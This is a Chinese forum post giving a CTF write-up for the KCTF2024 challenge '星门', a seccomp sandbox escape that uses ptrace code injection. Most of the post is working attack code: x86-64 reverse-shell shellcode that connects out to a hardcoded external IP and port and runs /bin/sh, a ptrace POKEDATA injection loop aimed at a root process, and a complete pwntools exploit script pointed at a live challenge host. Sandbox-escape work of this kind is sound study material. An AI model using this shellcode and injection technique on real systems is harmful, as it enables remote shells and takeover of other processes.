KCTF2024第八题 writeup

查看 21|回复 1
作者:xia0ji233   
KCTF2024第八题——星门 writeup
思路分析
拿到题目,是一道典型的写shellcode的题目,白名单系统调用,只允许 read,wait4 和 ptrace。

沙箱系统调用号白名单首先想到了切架构,但是它题目也有判断架构。因此就只能利用这个 ptrace 去做文章了。
其次应当考虑信息以何种方式回传,因为原进程是连write都不能用的,侧信道也没法,所以便起了一个docker环境去试试。发现启动脚本中。
#!/bin/sh
# Add your startup script
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
​ 于是选择让队友先起一个docker环境,然后观察里面可以使用的进程。

发现了进程 sleep infinity,并且占用的 pid 始终保持 20 以内,并且脚本启动就是 root 权限,不用担心附加不上的问题。
最后要去尝试的一点就是该靶机是否出网,静态编译一个 socket 请求对外连接发现完全可行,因此考虑反弹 shell。
代码编写
反弹shell
于是开始着手写 shellcode,先写可以反弹shell的shellcode,这个shellcode是我们要注入到目标进程的。这里为了保证shellcode正确,先编译一个 demo 尝试。
反弹 shell 用汇编去描述其实也非常简单。首先,反弹shell的步骤如下:
[ol]
  • 起一个socket套接字
  • 连接远程服务器
  • 将标准输入,标准输出,标准错误描述符都重定向到这个套接字描述符。
  • execve 运行一个 shell 程序。
    [/ol]
    这四个步骤分别可以对应
    [ol]
  • socket
  • connect
  • dup2
  • execve
    [/ol]
    这四个系统调用,稍微了解一下,把参数一传,就可以达到反弹 shell 的目的。
    最终我的 shellcode 如下:
    mov edi,1
    mov rsi,rsp
    mov rdx,0x30
    mov eax,1
    syscall
    /*socket(AF_INET,SOCK_STREAM,0)*/
    mov edi,2
    mov esi,1
    mov edx,0
    mov eax,41
    syscall
    mov r14,0xe14e2b650f270002
    mov r15,0x64
    mov r12,rsp
    mov [r12],r14
    mov [r12+8],r15
    mov r13,r12
    /*connect(sockfd,serveraddr,16)*/
    mov edi,eax
    mov rsi,r13
    mov edx,16
    mov eax,42
    syscall
    /* dup2(fd=3, fd2=0) */
    push 3
    pop rdi
    xor esi, esi /* 0 */
    /* call dup2() */
    push SYS_dup2 /* 0x21 */
    pop rax
    syscall
    /* dup2(fd=3, fd2=1) */
    push 3
    pop rdi
    push 1
    pop rsi
    /* call dup2() */
    push SYS_dup2 /* 0x21 */
    pop rax
    syscall
    /* dup2(fd=3, fd2=2) */
    push 3
    pop rdi
    push 2
    pop rsi
    /* call dup2() */
    push SYS_dup2 /* 0x21 */
    pop rax
    syscall
    /* execve(path='/bin/sh', argv=0, envp=0) */
    /* push b'/bin/sh\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x68732f6e69622f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
    其中 dup2 和 execve 都可以用 shellcraft 生成,socket 和 connect 需要自己配参数,因为你搜网上的教程大概率都是用一堆的宏。shellcraft 似乎不支持这个,所以需要手动去看看那些宏的值是多少。
    至于 0xe14e2b650f270002 这个数怎么来的,可以直接 C 编译出去再看看的,C语言的写法是
    struct sockaddr_in serverAddr;
    int clientSocket = socket(AF_INET, SOCK_STREAM, 0);//TCP listen
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(9999);
    serverAddr.sin_addr.s_addr = inet_addr("101.43.78.225");
    connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr))
    编译,gdb调试

    得到对应 ip port 的 serverAddr 的值。
    这里需要注意的是,connect 中间需要构造一个 16 字节大小的结构体,然后传指针进去。这里一开始会比较头疼,因为你可能苦于没有确定可写的地址,但是后面想到 rsp 和 rbp 所指向的值通常是可写的,就往里面去写,然后把 rbp 作为这里的第二个参数。
    然后就能得到手搓的 connect 代码。
    mov r14,0xe14e2b650f270002
    mov r15,0x64
    mov r12,rsp
    mov [r12],r14
    mov [r12+8],r15
    mov r13,r12
    /*connect(sockfd,serveraddr,16)*/
    mov edi,eax
    mov rsi,r13
    mov edx,16
    mov eax,42
    syscall
    将代码注入一个 demo 进程,反弹 shell 成功

    注入进程
    随后我们需要写一个可以利用 ptrace 将代码注入到另一个进程的 shellcode。
    这里把上面编译好的 shellcode 放到  + 0x200 的位置上,方便做循环,然后开始编写注入代码,这里本地调试就假设我们已知我们要注入的进程的 pid。
    这里可以写一个被注入进程的 demo。
    #include
    #include
    int main(){
        printf("pid=%d\n",getpid());
        while(1){
    //      sleep(1);
        }
    }
    相关 ptrace 的解析,可以看我这一篇文章。首先我们要用 PTRACE_ATTACH 去附加这个进程,这里有一点很坑的地方是,它的第四个参数貌似不是 rcx 是 r10,并且用 shellcraft 生成也是这样,所以我在原有的基础上会加一句 mov r10,rcx。
    所以第一步
    /*save mmap start addr*/
    push rdx
    /* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
    mov edi,0x10/*ATTACH*/
    mov esi,{pid}
    mov rdx,0
    mov rcx,0
    mov eax,SYS_ptrace /* 0x65 */
    syscall
    第一句是因为调用入口时 call rdx 因此这里先保存 mmap 分配的地址,方便给下面的寄存器使用。
    第二步,因为在 ptrace 附加完成之后,进程会被阻塞,所以我们可以趁这个时机将 RIP 后面的代码布置成我们上面编写的 shellcode。所以这一步需要获取 RIP 的值。
    ptrace 有获取寄存器的选项,ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    第四个参数是指针,我们随便给一个内存区域即可,这里我用了 +0x800 的位置。
    mov edi,0xc /*GETREGS*/
    mov esi,{pid}
    mov rdx,0
    pop rcx
    push rcx
    add rcx,0x800
    mov r10,rcx
    mov eax,SYS_ptrace /* 0x65 */
    syscall
    接下来是获取当前目标进程 RIP 的值,这里可以直接看结构体定义算偏移,也可以直接 gdb 起一个看看偏移,实际它在结构体的偏移是 +0x80。
    pop rcx
    push rcx
    add rcx,0x880
    mov rdx,[rcx]
    /*RIP offset*/
    接下来就用汇编写一个循环,ptrace 一次读写内存都是 8 个字节,并且需要注意的是,在写数据的时候,第四个参数不作为指针,而是直接作为一个字的数据被写入。
    最后一点需要注意的是,shellcode 写入完成之后,要主动让进程脱离调试器,如果不管的话附加的进程死亡会导致被附加的进程一起死亡,shellcode不一定能被执行。
    本地调试的时候可能会有一点麻烦,如果进程异常退出基本很难查到问题所在,因为一个进程不能同时被两个进程调试,因此我们需要调试附加的进程,每一次 ptrace 调用时查看返回值是否
    最终EXP
    from pwn import *
    if len(sys.argv)!=2:
        print('usage: exp.py pid')
        quit()
    context.arch='amd64'
    serveraddr=[0xe14e2b650f270002,0x0000000000000064]
    #server struct
    #target ip: 101.43.78.225:9999
    #p=process('./test')
    p=remote('47.101.191.23',9999)
    #p.recvuntil('0x')
    #addr=int(p.recv(12),16)
    addr=0x7f0000000000
    inject_shellcode=f'''
    /*socket(AF_INET,SOCK_STREAM,0)*/
    mov edi,1
    mov rsi,rsp
    mov rdx,0x30
    mov eax,1
    syscall
    mov edi,2
    mov esi,1
    mov edx,0
    mov eax,41
    syscall
    mov r14,0xe14e2b650f270002
    mov r15,0x64
    mov r12,rsp
    mov [r12],r14
    mov [r12+8],r15
    mov r13,r12
    /*connect(sockfd,serveraddr,16)*/
    mov edi,eax
    mov rsi,r13
    mov edx,16
    mov eax,42
    syscall
    /* dup2(fd=3, fd2=0) */
    push 3
    pop rdi
    xor esi, esi /* 0 */
    /* call dup2() */
    push SYS_dup2 /* 0x21 */
    pop rax
    syscall
    /* dup2(fd=3, fd2=1) */
    push 3
    pop rdi
    push 1
    pop rsi
    /* call dup2() */
    push SYS_dup2 /* 0x21 */
    pop rax
    syscall
    /* dup2(fd=3, fd2=2) */
    push 3
    pop rdi
    push 2
    pop rsi
    /* call dup2() */
    push SYS_dup2 /* 0x21 */
    pop rax
    syscall
    /* execve(path='/bin/sh', argv=0, envp=0) */
    /* push b'/bin/sh\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x68732f6e69622f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
    '''
    #print(len(asm(inject_shellcode)))
    inject_shellbytes=b'\x90'*6+asm(inject_shellcode)
    print('inject_shellcode: '+hex(len(inject_shellbytes)))
    pid=sys.argv[1]
    shellcode=f'''
    /*save mmap start addr*/
    push rdx
    /* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
    mov edi,0x10/*ATTACH*/
    mov esi,{pid}
    mov rdx,0
    mov rcx,0
    mov eax,SYS_ptrace /* 0x65 */
    syscall
    test ax,ax
    jnz fail
    mov edi,0xc /*GETREGS*/
    mov esi,{pid}
    mov rdx,0
    pop rcx
    push rcx
    add rcx,0x800
    mov r10,rcx
    mov eax,SYS_ptrace /* 0x65 */
    syscall
    pop rcx
    push rcx
    add rcx,0x880
    mov rdx,[rcx]
    /*RIP offset*/
    pop rcx
    add rcx,0x200
    push rcx
    /*inject shellcode*/
    push rdx
    mov rbx,0x100
    loop:
        pop rdx
        pop rcx
        push rcx
        push rdx
        mov edi,4/*pokedata*/
        mov rsi,{pid}
        mov r10,[rcx]
        mov eax,SYS_ptrace
        syscall
        pop rdx
        pop rcx
        add rcx,8
        add rdx,8
        push rcx
        push rdx
        sub rbx,8
        test rbx,rbx
        jnz loop
    mov edi,7
    mov rsi,{pid}
    mov rdx,0
    mov r10,0
    mov eax,SYS_ptrace
    syscall
    mov edi,17
    mov rsi,{pid}
    mov rdx,0
    mov r10,0
    mov eax,SYS_ptrace
    syscall
    fail:
    '''
    payload=asm(shellcode).ljust(0x200,b'\0')+inject_shellbytes
    #payload=inject_shellbytes
    #gdb.attach(p)
    p.send(payload)
    #p.close()
    p.interactive()
    当时试了一个 pid=17 就反弹成功了。

    后话
    其实这题解法应该挺多的,因为直接给了 root 权限,所以直接去写启动的二进制文件也不是不可以,把沙箱代码 patch 掉直接shellcode执行 sh,或者不用反弹shell,直接 orw 出了 flag udp 直接发过来也可以,总归它出网想要外带信息还是非常容易的。

    进程, 的是

  • szluyang   

    看大佬们的精彩展示。
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部